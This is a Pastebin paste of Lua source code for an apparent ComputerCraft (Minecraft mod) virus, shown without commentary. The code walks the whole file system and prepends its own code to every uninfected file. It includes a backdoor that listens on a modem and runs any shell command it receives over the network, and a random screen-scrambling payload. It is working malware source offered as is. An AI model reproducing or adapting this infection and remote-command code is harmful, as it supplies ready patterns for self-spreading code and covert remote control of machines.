Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local infected = true
- function infect(file)
- local virusfile = fs.open(shell.getRunningProgram(), "r")
- local viruscode = virusfile.readAll()
- local inFile = fs.open(file, "r")
- local fileCode = inFile.readAll()
- inFile.close()
- virusfile.close()
- if string.match(fileCode, "local infected = true") then
- else
- if file == "key" then
- else
- local infectFile = fs.open(file,"w")
- infectFile.writeLine("local infected = true")
- infectFile.writeLine(viruscode)
- infectFile.writeLine(fileCode)
- infectFile.close()
- end
- end
- end
- function remoteCommandStart()
- local sides = {"front","back","right","left","top","bottom"}
- local conn = false
- for i=1,#sides do
- if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then
- rednet.open(sides[i])
- conn = true
- break
- end
- end
- if conn then
- remoteCommand()
- else
- end
- end
- function remoteCommand()
- while true do
- local id,msg = rednet.receive("162857")
- shell.run(msg)
- rednet.send(id, "Done: "..msg, "162857")
- end
- end
- function payload()
- local a = math.random(1, 10)
- if a == 5 then
- local w,h = term.getSize()
- local payLoadCharacters = {0, 1, "|", "-", "+"}
- for i=1,50000 do
- term.setCursorPos(math.random(1, w), math.random(1, h))
- local index = math.random(1, table.getn(payLoadCharacters))
- write(payLoadCharacters[index])
- end
- end
- end
- function infectDir(directory)
- shell.setDir(directory)
- local files = fs.list(directory)
- for i=1,#files do
- if fs.isDir(files[i]) then
- if files[i] == "rom" then
- else
- infectDir(shell.dir().."/"..files[i])
- end
- else
- infect(shell.dir().."/"..files[i])
- end
- end
- shell.setDir("")
- end
- infectDir("/")
- payload()
Add Comment
Please, Sign In to add comment